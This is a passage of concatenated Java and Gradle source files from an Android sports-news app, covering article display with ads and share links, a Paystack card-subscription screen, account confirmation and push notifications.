} public void setType(String type) { this.type = type; } public String getUserTitle() { return userTitle; } public void setUserTitle(String userTitle) { this.userTitle = userTitle; } public String getUserMessage() { return userMessage; } public void setUserMessage(String userMessage) { this.userMessage = userMessage; } public String getCode() { return code; } public void setCode(String code) { this.code = code; } public String getTraceId() { return traceId; } public void setTraceId(String traceId) { this.traceId = traceId; } @Override public String toString() { return "FBEModel{" + "message='" + message + '\'' + ", type='" + type + '\'' + ", userTitle='" + userTitle + '\'' + ", userMessage='" + userMessage + '\'' + ", code='" + code + '\'' + ", traceId='" + traceId + '\'' + '}'; } } <file_sep>/app/src/main/java/com/mycornership/betlink/activities/NewsActivity.java package com.mycornership.betlink.activities; import androidx.annotation.NonNull; import androidx.appcompat.app.AppCompatActivity; import androidx.core.widget.NestedScrollView; import androidx.recyclerview.widget.LinearLayoutManager; import androidx.recyclerview.widget.RecyclerView; import android.content.Intent; import android.graphics.Rect; import android.net.Uri; import android.os.Bundle; import android.util.Log; import android.view.Menu; import android.view.MenuItem; import android.view.View; import android.widget.ImageView; import android.widget.ProgressBar; import android.widget.TextView; import android.widget.Toast; import com.amplifyframework.core.Amplify; import com.bumptech.glide.Glide; import com.google.android.gms.ads.AdListener; import com.google.android.gms.ads.AdLoader; import com.google.android.gms.ads.AdRequest; import com.google.android.gms.ads.AdView; import com.google.android.gms.ads.formats.MediaView; import com.google.android.gms.ads.formats.NativeAdOptions; import com.google.android.gms.ads.formats.UnifiedNativeAd; import com.google.android.gms.ads.formats.UnifiedNativeAdView; import com.google.android.gms.tasks.OnCompleteListener; import com.google.android.gms.tasks.Task; import com.google.android.material.floatingactionbutton.FloatingActionButton; import com.google.firebase.FirebaseApp; import com.google.firebase.dynamiclinks.DynamicLink; import com.google.firebase.dynamiclinks.FirebaseDynamicLinks; import com.google.firebase.dynamiclinks.ShortDynamicLink; import com.mycornership.betlink.R; import com.mycornership.betlink.adapters.RelatedNewsAdapter; import com.mycornership.betlink.models.DataResponse; import com.mycornership.betlink.models.FBResponse; import com.mycornership.betlink.models.News; import com.mycornership.betlink.models.NewsResponse; import com.mycornership.betlink.models.User; import com.mycornership.betlink.networks.FBApi; import com.mycornership.betlink.networks.FBClient; import com.mycornership.betlink.networks.RestApi; import com.mycornership.betlink.networks.RestService; import java.util.ArrayList; import java.util.List; import java.util.UUID; import retrofit2.Call; import retrofit2.Callback; import retrofit2.Response; public class NewsActivity extends AppCompatActivity { private TextView tv_title, tv_body1, tv_body2, tv_date, tv_editor; private RecyclerView related_recycler; private RelatedNewsAdapter adapter; private ImageView news_photo; private ProgressBar bar; private View claim_view; private AdView adView2, adView0; private UnifiedNativeAdView nativeAdView; private FloatingActionButton fbPost; private NestedScrollView scrollView; private boolean isClaiming = false; List<Object> objects = new ArrayList<>(); private String category, id, body, title, photoUrl; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_news); //shows back button getSupportActionBar().setDisplayHomeAsUpEnabled(true); //initialize widgets init(); //initialize firebase FirebaseApp.initializeApp(this); //display news information Intent intent = getIntent(); if(intent.hasExtra("promoter")) loadNews(intent.getStringExtra("promoter"), intent.getStringExtra("content")); else displayInfo(intent); //load ads loadBanner(); //load native ads loadNativeAds(); //checks if user is Admin findUser(); //listen to recycler view recyclerListener(); } private void init() { //initialize components tv_title = findViewById(R.id.news_title); tv_body1 = findViewById(R.id.news_body1); tv_body2 = findViewById(R.id.news_body2); tv_date = findViewById(R.id.news_date); tv_editor = findViewById(R.id.news_editor); news_photo = findViewById(R.id.news_photo); adView2 = findViewById(R.id.adView2); adView0 = findViewById(R.id.adView0); nativeAdView = findViewById(R.id.nativeView); scrollView = findViewById(R.id.nested_scroll); claim_view = findViewById(R.id.claims); //initialise and sets up the related recyclerview related_recycler = findViewById(R.id.recycler_related); LinearLayoutManager manager = new LinearLayoutManager(this); adapter = new RelatedNewsAdapter(this, new ArrayList<>()); related_recycler.setLayoutManager(manager); related_recycler.setAdapter(adapter); bar = findViewById(R.id.progress); bar.setVisibility(View.GONE); fbPost = findViewById(R.id.fb_post); fbPost.hide(); fbPost.setOnClickListener(l ->{ feedOnFacebook(); }); } @Override public boolean onCreateOptionsMenu(Menu menu) { // Inflate the menu; this adds items to the action bar if it is present. getMenuInflater().inflate(R.menu.news_menu, menu); return true; } @Override public boolean onOptionsItemSelected(@NonNull MenuItem item) { int id = item.getItemId(); if(id == android.R.id.home){ onBackPressed(); } else if(id == R.id.share_menu){ bar.setVisibility(View.VISIBLE); //display share intent shareIntent(); } return super.onOptionsItemSelected(item); } private void shareIntent() { createShortDynamicLink(); } private void displayInfo(Intent b) { String ttl = b.getStringExtra("title"); title = ttl; String body_in = b.getStringExtra("body"); body = body_in; if(body_in != null) { if (body_in.length() < 501) { tv_body1.setText(body_in); } else { int x = body_in.length() / 2; String body1 = body_in.substring(0, body_in.lastIndexOf('.', x) + 1); String body2 = body_in.substring(body1.length(), body_in.length() - 1); tv_body1.setText(body1); tv_body2.setText(body2); } } String editor = "By " + b.getStringExtra("editor"); String date = "Published on " + b.getStringExtra("date"); category = b.getStringExtra("category"); id = b.getStringExtra("news_id"); String url = b.getStringExtra("url"); photoUrl = url; //binds data to the UI tv_title.setText(ttl); tv_editor.setText(editor); tv_date.setText(date); //display the news image Glide.with(this).load(url).into(news_photo); //loads the related news relatedNews(category, id); } private void relatedNews(String cat, String ids){ //loads if the category is not empty if(cat != null){ RestApi api = RestService.getInstance().create(RestApi.class); Call<NewsResponse> response = api.fetchRelatedNews(cat, ids); response.enqueue(new Callback<NewsResponse>() { @Override public void onResponse(Call<NewsResponse> call, Response<NewsResponse> response) { objects = new ArrayList<>(); if(response.isSuccessful()) if(response.body().getCode() == 200){ if(response.body().getData().size() > 0){ objects.add(response.body().getData()); adapter = new RelatedNewsAdapter(getBaseContext(), response.body().getData()); related_recycler.setAdapter(adapter); } else { Log.d("news_", "empty news returned"); } } } @Override public void onFailure(Call<NewsResponse> call, Throwable t) { Log.d("news_", "error fetching news \n" + t.getMessage()); } }); } else Log.d("news_category", "empty category for the news"); } private String getLongDynamicLink(){ String username = ""; if(Amplify.Auth.getCurrentUser() != null) username = Amplify.Auth.getCurrentUser().getUsername(); String path = FirebaseDynamicLinks.getInstance().createDynamicLink() .setDomainUriPrefix("https://sportinglinks.page.link") .setLink(Uri.parse("http://kasonmobile.com.ng/sportingNews?content=" + id + "&promoter=" + username)) .setAndroidParameters(new DynamicLink.AndroidParameters.Builder("com.mycornership.betlink").build()) .setSocialMetaTagParameters(new DynamicLink.SocialMetaTagParameters.Builder() .setTitle(title).setDescription("sportingLink latest in sports") .setImageUrl(Uri.parse(photoUrl)) .build()) .buildDynamicLink().getUri().toString(); Log.d("long_dynamic_link", path); return path; } private void createShortDynamicLink(){ Task<ShortDynamicLink> shortLink = FirebaseDynamicLinks.getInstance().createDynamicLink() .setLongLink(Uri.parse(getLongDynamicLink())) .buildShortDynamicLink() .addOnCompleteListener(this, new OnCompleteListener<ShortDynamicLink>() { @Override public void onComplete(@NonNull Task<ShortDynamicLink> task) { if(task.isSuccessful()){ Uri shortLink = task.getResult().getShortLink(); Uri flowLink = task.getResult().getPreviewLink(); //hides the progress bar.setVisibility(View.GONE); int x = body.length() / 3; String msg; if(body.length() >= 1000) msg= body.substring(0, body.lastIndexOf(".", x) + 1) + '\n' + "Read More On " + shortLink.toString(); else msg = body + '\n' + "Read More On " + shortLink.toString(); //share the short link generated Intent i = new Intent(Intent.ACTION_SEND); i.setType("text/plain"); i.putExtra(Intent.EXTRA_TEXT, msg); startActivity(i); } else{ //hides the progress bar.setVisibility(View.GONE); Toast.makeText(getBaseContext(), "Short Link not generated", Toast.LENGTH_SHORT).show(); } } }); } @Override protected void onStart() { super.onStart(); FirebaseApp.initializeApp(this); } private void loadBanner(){ AdRequest request = new AdRequest.Builder().build(); adView2.loadAd(request); adView2.setAdListener(new AdListener(){ @Override public void onAdClosed() { super.onAdClosed(); } @Override public void onAdLeftApplication() { super.onAdLeftApplication(); } @Override public void onAdClicked() { //notifyAdsAction(); } }); AdRequest request2 = new AdRequest.Builder().build(); adView0.loadAd(request2); } private void feedOnFacebook(){ String app_link = "http://kasonmobile.com.ng/betlinksporting?content=" + id; int x =body.length() / 2; String body1 = body.substring(0, body.lastIndexOf('.', x) + 1); if(body1.length() >= 1200) body1 = body1.substring(0, 1000); String caption = title + '\n' + '\n' + body1; //show the progress bar bar.setVisibility(View.VISIBLE); FBApi api = FBClient.getInstance().create(FBApi.class); Call<FBResponse> postFB = api.postFBNoLink(photoUrl,caption, app_link, getString(R.string.access_token)); postFB.enqueue(new Callback<FBResponse>() { @Override public void onResponse(Call<FBResponse> call, Response<FBResponse> response) { //hides progress bar bar.setVisibility(View.GONE); Toast.makeText(getBaseContext(), "facebook posted", Toast.LENGTH_SHORT).show(); Log.d("responce_data","id: " + response.body().getId() + " post id: "+ response.body().getPostId()); } @Override public void onFailure(Call<FBResponse> call, Throwable t) { //hides progress bar bar.setVisibility(View.GONE); Toast.makeText(getBaseContext(), "error posting on page.", Toast.LENGTH_SHORT).show(); } }); } private void findUser() { if (Amplify.Auth.getCurrentUser() != null) { String user = Amplify.Auth.getCurrentUser().getUsername(); RestApi api = RestService.getInstance().create(RestApi.class); Call<User> userCall = api.getUser(user); userCall.enqueue(new Callback<User>() { @Override public void onResponse(Call<User> call, Response<User> response) { if (response.isSuccessful()) { User user1 = response.body(); if(user1 != null){ if(user1.getRole().equals("ADMIN")) fbPost.show(); } } } @Override public void onFailure(Call<User> call, Throwable t) { } }); } } private void loadNativeAds(){ AdLoader adLoader = new AdLoader.Builder(this, getString(R.string.ads_native_units)) .forUnifiedNativeAd(new UnifiedNativeAd.OnUnifiedNativeAdLoadedListener() { @Override public void onUnifiedNativeAdLoaded(UnifiedNativeAd unifiedNativeAd) { //shows the native ads placeholder nativeAdView.setVisibility(View.VISIBLE); // Show the ad. populateView(unifiedNativeAd, nativeAdView); } }) .withAdListener(new AdListener() { @Override public void onAdLeftApplication() { super.onAdLeftApplication(); } @Override public void onAdClicked() { super.onAdClicked(); // notifyAdsAction(); } @Override public void onAdFailedToLoad(int errorCode) { // Handle the failure by logging, altering the UI, and so on. Log.d("ads_load_error", "error loading ads. " + errorCode); } }) .withNativeAdOptions(new NativeAdOptions.Builder() // Methods in the NativeAdOptions.Builder class can be // used here to specify individual options settings. .build()) .build(); adLoader.loadAds(new AdRequest.Builder().build(), 1); } private void populateView(UnifiedNativeAd unifiedNativeAd, UnifiedNativeAdView nativeAdView) { nativeAdView.setHeadlineView(nativeAdView.findViewById(R.id.ad_headline)); nativeAdView.setBodyView(nativeAdView.findViewById(R.id.ad_body)); nativeAdView.setMediaView(nativeAdView.findViewById(R.id.ad_media)); nativeAdView.setCallToActionView(nativeAdView.findViewById(R.id.ad_call_to_action)); nativeAdView.setAdvertiserView(nativeAdView.findViewById(R.id.ad_advertiser)); if(unifiedNativeAd.getBody() == null){ nativeAdView.getBodyView().setVisibility(View.INVISIBLE); } else { nativeAdView.getBodyView().setVisibility(View.VISIBLE); ((TextView)nativeAdView.getBodyView()).setText(unifiedNativeAd.getBody()); } if(unifiedNativeAd.getCallToAction() == null){ nativeAdView.getCallToActionView().setVisibility(View.GONE); } else { nativeAdView.getCallToActionView().setVisibility(View.VISIBLE); ((TextView)nativeAdView.getCallToActionView()).setText(unifiedNativeAd.getCallToAction()); } if(unifiedNativeAd.getAdvertiser() == null){ nativeAdView.getAdvertiserView().setVisibility(View.INVISIBLE); } else { nativeAdView.getAdvertiserView().setVisibility(View.VISIBLE); ((TextView)nativeAdView.getAdvertiserView()).setText(unifiedNativeAd.getAdvertiser()); } nativeAdView.setNativeAd(unifiedNativeAd); } private void loadNews(String promoter, String content){ //shows loading bar bar.setVisibility(View.VISIBLE); String inv = UUID.randomUUID().toString(); RestApi api = RestService.getInstance().create(RestApi.class); Call<News> newsCall = api.getNewsItem(content, promoter, inv); newsCall.enqueue(new Callback<News>() { @Override public void onResponse(Call<News> call, Response<News> response) { //hides loading bar bar.setVisibility(View.GONE); if(response.isSuccessful()){ News newsItem = response.body(); if(newsItem != null){ //display info showNewsItem(newsItem); } } } @Override public void onFailure(Call<News> call, Throwable t) { //hides loading bar bar.setVisibility(View.GONE); Toast.makeText(getBaseContext(), "error getting data", Toast.LENGTH_SHORT).show(); } }); } private void showNewsItem(News newsItem) { String ttl = newsItem.getTitle(); title = ttl; String body_in = newsItem.getDetail(); body = body_in; if(body_in != null) { if (body_in.length() < 501) { tv_body1.setText(body_in); } else { int x = body_in.length() / 2; String body1 = body_in.substring(0, body_in.lastIndexOf('.', x) + 1); String body2 = body_in.substring(body1.length(), body_in.length() - 1); tv_body1.setText(body1); tv_body2.setText(body2); } } String editor = "By " + newsItem.getEditor(); String date = "Published on " + newsItem.getEventDate(); category = newsItem.getCategory(); id = newsItem.getId() + ""; String url = newsItem.getMediaUrl(); photoUrl = url; //binds data to the UI tv_title.setText(ttl); tv_editor.setText(editor); tv_date.setText(date); //display the news image Glide.with(this).load(url).into(news_photo); //loads the related news relatedNews(category, id); } private void recyclerListener(){ //listen for the scrollview final Rect rectBounds = new Rect(); scrollView.getHitRect(rectBounds); scrollView.setOnScrollChangeListener((NestedScrollView.OnScrollChangeListener) (v, scrollX, scrollY, oldScrollX, oldScrollY) -> { if(claim_view != null){ if(claim_view.getLocalVisibleRect(rectBounds)){ if(!claim_view.getLocalVisibleRect(rectBounds) || rectBounds.height() < claim_view.getHeight()){ //partially visible if(!isClaiming) { creditUser(); } isClaiming = true; } else { //completely visible if(!isClaiming) { creditUser(); } isClaiming = true; } } else{ //not visible } } }); } private void creditUser(){ if(Amplify.Auth.getCurrentUser() != null){ String username = Amplify.Auth.getCurrentUser().getUsername(); RestApi api = RestService.getInstance().create(RestApi.class); Call<DataResponse> responseCall = api.creditUser(username, id); responseCall.enqueue(new Callback<DataResponse>() { @Override public void onResponse(Call<DataResponse> call, Response<DataResponse> response) { if(response.isSuccessful()){ if(response.body().getCode() == 200) Toast.makeText(getBaseContext(), response.body().getMessage(), Toast.LENGTH_SHORT).show(); } } @Override public void onFailure(Call<DataResponse> call, Throwable t) { } }); } } } <file_sep>/app/src/main/java/com/mycornership/betlink/activities/SubscriptionActivity.java package com.mycornership.betlink.activities; import androidx.annotation.NonNull; import androidx.appcompat.app.AppCompatActivity; import android.os.Bundle; import android.text.Editable; import android.text.TextUtils; import android.text.TextWatcher; import android.view.MenuItem; import android.view.View; import android.widget.ProgressBar; import android.widget.Toast; import com.amplifyframework.core.Amplify; import com.google.android.material.button.MaterialButton; import com.google.android.material.textfield.TextInputEditText; import com.google.android.material.textfield.TextInputLayout; import com.mycornership.betlink.R; import com.mycornership.betlink.models.DataResponse; import com.mycornership.betlink.networks.RestApi; import com.mycornership.betlink.networks.RestService; import java.util.Date; import co.paystack.android.Paystack; import co.paystack.android.PaystackSdk; import co.paystack.android.Transaction; import co.paystack.android.model.Card; import co.paystack.android.model.Charge; import retrofit2.Call; import retrofit2.Callback; import retrofit2.Response; public class SubscriptionActivity extends AppCompatActivity { TextInputEditText edt_card, edt_exp, edt_cvv; ProgressBar bar; int amount = 400; int number = 0; Transaction transaction; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_subscription); //sets back button getSupportActionBar().setDisplayHomeAsUpEnabled(true); getSupportActionBar().setTitle("sportingLink subscription"); //initialize components init(); //initialize Paystack for payment PaystackSdk.initialize(getBaseContext()); //listen to text input changes inputListener(); } private void init(){ edt_card = findViewById(R.id.card_no); edt_exp = findViewById(R.id.card_expire); edt_cvv = findViewById(R.id.card_code); bar = findViewById(R.id.payment_bar); bar.setVisibility(View.GONE); MaterialButton btn_sub = findViewById(R.id.btn_subscribe); btn_sub.setOnClickListener(l ->{ String card = edt_card.getText().toString().trim(); String date = edt_exp.getText().toString().trim(); String cvv = edt_cvv.getText().toString().trim(); if(validInput(card, date, cvv)) payment(card, date, cvv); }); } @Override public boolean onOptionsItemSelected(@NonNull MenuItem item) { int id = item.getItemId(); if(id == android.R.id.home) onBackPressed(); return super.onOptionsItemSelected(item); } private void inputListener(){ //listen to card no text change edt_card.addTextChangedListener(new TextWatcher() { @Override public void beforeTextChanged(CharSequence charSequence, int i, int i1, int i2) { } @Override public void onTextChanged(CharSequence charSequence, int i, int i1, int i2) { if(i1 == 0){ if( charSequence.length() % 5 == 0 && number != 0){ String xx = charSequence.toString(); String prf = xx.substring(0, charSequence.length() - 1); char last = charSequence.charAt(charSequence.length() - 1); String cr = prf + " " + last; edt_card.setText(cr); edt_card.setSelection(charSequence.length() + 1); //reset the number to zero //number = 0; } number += 1; } } @Override public void afterTextChanged(Editable editable) { } }); //listen to card expiration date text change edt_exp.addTextChangedListener(new TextWatcher() { @Override public void beforeTextChanged(CharSequence charSequence, int i, int i1, int i2) { } @Override public void onTextChanged(CharSequence charSequence, int i, int i1, int i2) { if(i == 1 && i1 == 0){ //input char sec = charSequence.charAt(1); char first = charSequence.charAt(0); String lx = first + "" + sec + "/"; edt_exp.setText(lx); edt_exp.setSelection(3); } if(i == 2 && i1 == 0){ char last = charSequence.charAt(2); char sec = charSequence.charAt(1); char first = charSequence.charAt(0); String lx = first + "" + sec + "/" + last; edt_exp.setText(lx); edt_exp.setSelection(4); } } @Override public void afterTextChanged(Editable editable) { } }); } private boolean validInput(String card, String date, String cvv) { if(TextUtils.isEmpty(card)) { edt_card.setError("enter card number"); return false; } if(TextUtils.isEmpty(date)){ edt_exp.setError("enter expiration date"); return false; } if(date.length() < 5){ edt_exp.setError("incorrect expiration date"); return false; } if(TextUtils.isEmpty(cvv)){ edt_cvv.setError("enter security code"); return false; } return true; } private void payment(String cardno, String date, String cvv) { String exp_mth = date.substring(0, 1); String exp_yr = date.substring(3); int mth = Integer.parseInt(exp_mth); int yr = Integer.parseInt(exp_yr); //continue to process the payment bellow Card card = new Card( cardno, mth, yr, cvv); //checks the validity of the car if(card.isValid()){ Charge charge = new Charge(); charge.setAmount(amount); charge.setCurrency("USD"); charge.setCard(card); charge.setEmail("<EMAIL>"); charge.setReference(getChargeReference()); processCharge(charge); } else { //terminate the payment process Toast.makeText(getBaseContext(), "invalid card.", Toast.LENGTH_LONG).show(); } } private String getChargeReference() { String user = Amplify.Auth.getCurrentUser().getUsername(); Date date = new Date(); return user + "#" + date.toString().replace(" ", ""); } private void processCharge(Charge charge) { //perform the charging bar.setVisibility(View.VISIBLE); transaction = null; PaystackSdk.chargeCard(this, charge, new Paystack.TransactionCallback() { @Override public void onSuccess(Transaction transaction) { //hides the progress bar bar.setVisibility(View.GONE); Toast.makeText(getBaseContext(), "validating process...", Toast.LENGTH_LONG).show(); validatePayment(transaction.getReference()); } @Override public void beforeValidate(Transaction transaction1) { //hides the progress bar //bar.setVisibility(View.GONE); transaction = transaction1; Toast.makeText(getBaseContext(),"processing please wait...", Toast.LENGTH_LONG).show(); } @Override public void onError(Throwable error, Transaction transaction1) { // If an access code has expired, simply ask your server for a new one // and restart the charge instead of displaying error transaction = transaction1; /* if (error instanceof ExpiredAccessCodeException) { processCharge(c); return; } */ //hides the progress bar bar.setVisibility(View.GONE); if (transaction.getReference() != null) { Toast.makeText(getBaseContext(), error.getMessage(), Toast.LENGTH_LONG).show(); validatePayment(transaction.getReference()); } else { Toast.makeText( getBaseContext(), error.getMessage(), Toast.LENGTH_LONG).show(); } } }); } private void validatePayment(String reference) { //shows progress bar.setVisibility(View.VISIBLE); RestApi api = RestService.getInstance().create(RestApi.class); Call<DataResponse> responseCall = api.subValidate(reference); responseCall.enqueue(new Callback<DataResponse>() { @Override public void onResponse(Call<DataResponse> call, Response<DataResponse> response) { //hides progress bar.setVisibility(View.GONE); if(response.isSuccessful()) Toast.makeText(getBaseContext(), response.body().getMessage(), Toast.LENGTH_SHORT).show(); } @Override public void onFailure(Call<DataResponse> call, Throwable t) { //hides progress bar.setVisibility(View.GONE); Toast.makeText(getBaseContext(), "validation error. \n Your subscription will be resolved by our Admins within 24hours.", Toast.LENGTH_LONG).show(); } }); } } <file_sep>/app/src/main/java/com/mycornership/betlink/fragments/auth/ConfirmAccount.java package com.mycornership.betlink.fragments.auth; import android.os.Bundle; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.ProgressBar; import android.widget.Toast; import androidx.annotation.NonNull; import androidx.annotation.Nullable; import androidx.fragment.app.Fragment; import androidx.navigation.Navigation; import com.amplifyframework.core.Amplify; import com.google.android.material.button.MaterialButton; import com.google.android.material.textfield.TextInputEditText; import com.mycornership.betlink.R; public class ConfirmAccount extends Fragment { TextInputEditText edt_code; ProgressBar bar; private String username; MaterialButton btn_confirm; public ConfirmAccount() { } @Override public void onCreate(@Nullable Bundle savedInstanceState) { super.onCreate(savedInstanceState); } @Nullable @Override public View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) { return inflater.inflate(R.layout.fragment_reg_confirm, container, false); } @Override public void onActivityCreated(@Nullable Bundle savedInstanceState) { super.onActivityCreated(savedInstanceState); //initialize components init(); Bundle b = getArguments(); username = b.getString("username"); //listen to confirm button clicks btn_confirm.setOnClickListener(v ->{ if(edt_code.getText().length() > 0) confirm(edt_code.getText().toString()); }); } @Override public void onResume() { super.onResume(); } private void init(){ edt_code = getView().findViewById(R.id.code); bar = getView().findViewById(R.id.loading_bar); bar.setVisibility(View.GONE); btn_confirm = getView().findViewById(R.id.btn_confirm); } private void confirm(String code){ Amplify.Auth.confirmSignUp(username, code, result ->{ //navigate to login form Navigation.findNavController(getView()).navigate(R.id.login); }, error ->{ getActivity().runOnUiThread(() ->{ Toast.makeText(getContext(), error.getMessage(), Toast.LENGTH_SHORT).show(); Log.e("confirm_error", error.getCause().getMessage()); }); } ); } } <file_sep>/app/src/main/java/com/mycornership/betlink/service/MyFirebaseMessagingService.java package com.mycornership.betlink.service; import android.app.NotificationChannel; import android.app.NotificationManager; import android.app.PendingIntent; import android.content.Context; import android.content.Intent; import android.graphics.BitmapFactory; import android.media.RingtoneManager; import android.net.Uri; import android.os.Build; import android.util.Log; import androidx.core.app.NotificationCompat; import com.google.firebase.messaging.FirebaseMessagingService; import com.google.firebase.messaging.RemoteMessage; import com.mycornership.betlink.R; import com.mycornership.betlink.activities.MainActivity; import com.mycornership.betlink.activities.NewsActivity; import java.util.Map; public class MyFirebaseMessagingService extends FirebaseMessagingService { private static String TAG = "MyFirebaseMessagingService"; @Override public void onMessageReceived(RemoteMessage remoteMessage) { super.onMessageReceived(remoteMessage); Log.d(TAG, "From: " + remoteMessage.getFrom()); if(remoteMessage.getData().size() > 0){ Log.d(TAG, "Message data payload: " + remoteMessage.getData()); Map<String, String> data = remoteMessage.getData(); String body = data.get("body"); String title = data.get("title"); String url = data.get("url"); String editor = data.get("editor"); String date = data.get("date"); String newsId = data.get("id"); String cat = data.get("category"); //send message sendDataNotification(body, title, url, editor, date, newsId, cat); } if(remoteMessage.getNotification() != null){ Log.d(TAG, "Message Notification Body: " + remoteMessage.getNotification().getBody()); String body = remoteMessage.getNotification().getBody(); String title = remoteMessage.getNotification().getTitle(); Uri uri = remoteMessage.getNotification().getImageUrl(); if(uri != null) sendNotification(title, body, uri.toString()); else sendNotification(title, body, null); } } @Override public void onNewToken(String s) { super.onNewToken(s); Log.d(TAG, "Token: " + s); } private void sendNotification(String ttl, String msg, String url) { Intent intent = new Intent(this, MainActivity.class); //build the notification to display PendingIntent pendingIntent = PendingIntent.getActivity(this, 1, intent, PendingIntent.FLAG_ONE_SHOT); String channelId = getString(R.string.default_notification_chanel_id); Uri defaultSoundUri = RingtoneManager.getDefaultUri(RingtoneManager.TYPE_NOTIFICATION); NotificationCompat.Builder notificationBuilder = new NotificationCompat.Builder(this, channelId) .setLargeIcon(BitmapFactory.decodeFile(url)) .setSmallIcon(R.drawable.ic_notifications_push) .setContentTitle(ttl) .setContentText(msg) .setAutoCancel(true) .setSound(defaultSoundUri) .setContentIntent(pendingIntent); NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); // Since android Oreo notification channel is needed. if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { NotificationChannel channel = new NotificationChannel(channelId, "sportingLink", NotificationManager.IMPORTANCE_DEFAULT); notificationManager.createNotificationChannel(channel); } notificationManager.notify(1, notificationBuilder.build()); } private void sendDataNotification(String body, String title, String url, String editor, String date, String newsId, String cat) { //send notification with data Intent intent = new Intent(this, NewsActivity.class); intent.putExtra("body", body); intent.putExtra("title", title); intent.putExtra("url", url); intent.putExtra("editor", editor); intent.putExtra("date", date); intent.putExtra("category", cat); intent.putExtra("news_id", newsId); //build the notification to display PendingIntent pendingIntent = PendingIntent.getActivity(this, 0, intent, PendingIntent.FLAG_ONE_SHOT); String channelId = getString(R.string.default_notification_chanel_id); Uri defaultSoundUri = RingtoneManager.getDefaultUri(RingtoneManager.TYPE_NOTIFICATION); NotificationCompat.Builder notificationBuilder = new NotificationCompat.Builder(this, channelId) .setLargeIcon(BitmapFactory.decodeFile(url)) .setSmallIcon(R.drawable.ic_notifications_push) .setContentTitle(title) .setContentText(body.substring(0, 200)) .setAutoCancel(true) .setSound(defaultSoundUri) .setContentIntent(pendingIntent); NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); // Since android Oreo notification channel is needed. if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { NotificationChannel channel = new NotificationChannel(channelId, "sportingNews", NotificationManager.IMPORTANCE_DEFAULT); notificationManager.createNotificationChannel(channel); } notificationManager.notify(0, notificationBuilder.build()); } } <file_sep>/app/build.gradle apply plugin: 'com.android.application' apply plugin: 'com.google.gms.google-services' android { compileSdkVersion 29 buildToolsVersion "29.0.2" defaultConfig { applicationId "com.mycornership.betlink" //com.mycornership.betlinkv2 minSdkVersion 21 targetSdkVersion 29 versionCode 13 versionName "1.0" testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" } buildTypes { release { minifyEnabled false proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' } } compileOptions { sourceCompatibility = 1.8 targetCompatibility = 1.8 } } dependencies { implementation fileTree(dir: 'libs', include: ['*.jar']) //ads template implementation project(':nativetemplates') implementation 'androidx.appcompat:appcompat:1.1.0' implementation 'androidx.constraintlayout:constraintlayout:1.1.3' implementation 'androidx.legacy:legacy-support-v4:1.0.0' implementation 'com.google.firebase:firebase-invites:17.0.0' //firebase messaging implementation 'com.google.firebase:firebase-messaging:20.2.4' implementation 'com.google.firebase:firebase-analytics:17.5.0' testImplementation 'junit:junit:4.12' androidTestImplementation 'androidx.test.ext:junit:1.1.1' androidTestImplementation 'androidx.test.espresso:espresso-core:3.2.0' //material design implementation 'com.google.android.material:material:1.1.0' //navigation implementation 'androidx.navigation:navigation-fragment:2.2.2' implementation 'androidx.navigation:navigation-ui:2.2.2' //room database implementation 'androidx.lifecycle:lifecycle-extensions:2.2.0' implementation 'androidx.room:room-runtime:2.2.5' //noinspection LifecycleAnnotationProcessorWithJava8 annotationProcessor 'androidx.lifecycle:lifecycle-compiler:2.2.0' annotationProcessor 'androidx.room:room-compiler:2.2.5' //livedata and viewmodel implementation "androidx.lifecycle:lifecycle-extensions:2.2.0" //noinspection LifecycleAnnotationProcessorWithJava8 annotationProcessor "androidx.lifecycle:lifecycle-compiler:2.3.0-alpha07" //viewpager2 implementation "androidx.viewpager2:viewpager2:1.0.0" // Retrofit implementation 'com.squareup.retrofit2:retrofit:2.4.0' implementation 'com.google.code.gson:gson:2.8.5' implementation 'com.squareup.retrofit2:converter-gson:2.4.0' //image display library implementation 'com.github.bumptech.glide:glide:4.9.0' annotationProcessor 'com.github.bumptech.glide:compiler:4.9.0' //circle image suppor library implementation 'de.hdodenhof:circleimageview:3.0.0' //google ads and wallet implementation 'com.google.android.gms:play-services-ads:18.3.0' //firebase services implementation 'com.google.firebase:firebase-ads:18.3.0' implementation 'com.google.firebase:firebase-dynamic-links:19.1.0' implementation 'com.google.firebase:firebase-analytics:17.5.0' //image display library implementation 'com.github.bumptech.glide:glide:4.9.0' annotationProcessor 'com.github.bumptech.glide:compiler:4.9.0' //aws auth and storage library implementation 'com.amplifyframework:core:1.1.1' implementation 'com.amplifyframework:aws-auth-cognito:1.1.1' implementation 'com.amplifyframework:aws-storage-s3:1.1.1' implementation 'com.amplifyframework:aws-auth-cognito:1.1.1' //paystack sdk implementation 'co.paystack.android.design.widget:pinpad:1.0.1' implementation 'co.paystack.android:paystack:3.0.12' } <file_sep>/settings.gradle rootProject.name='BetLink Sports' include ':app', ':nativetemplates' <file_sep>/app/src/main/java/com/mycornership/betlink/adapters/HighlightTabAdapter.java package com.mycornership.betlink.adapters; import androidx.annotation.NonNull; import androidx.fragment.app.Fragment; import androidx.viewpager2.adapter.FragmentStateAdapter; import com.mycornership.betlink.fragments.highlight.NewsHighlight; import com.mycornership.betlink.fragments.highlight.VideoHighlight; import com.mycornership.betlink.fragments.tips.BasicTips; import com.mycornership.betlink.fragments.tips.ControlledTips; import com.mycornership.betlink.fragments.tips.SponsoredTips; public class HighlightTabAdapter extends FragmentStateAdapter { public HighlightTabAdapter(@NonNull Fragment fragment) { super(fragment); } @NonNull @Override public Fragment createFragment(int position) { switch (position){ case 0: return new NewsHighlight(); case 1: return new VideoHighlight(); default: return null; } } @Override public int getItemCount() { return 2; } } <file_sep>/app/src/main/java/com/mycornership/betlink/adapters/CelebAdapter.java package com.mycornership.betlink.adapters; import android.app.Dialog; import android.content.Context; import android.content.Intent; import android.net.Uri; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.Button; import android.widget.ImageView; 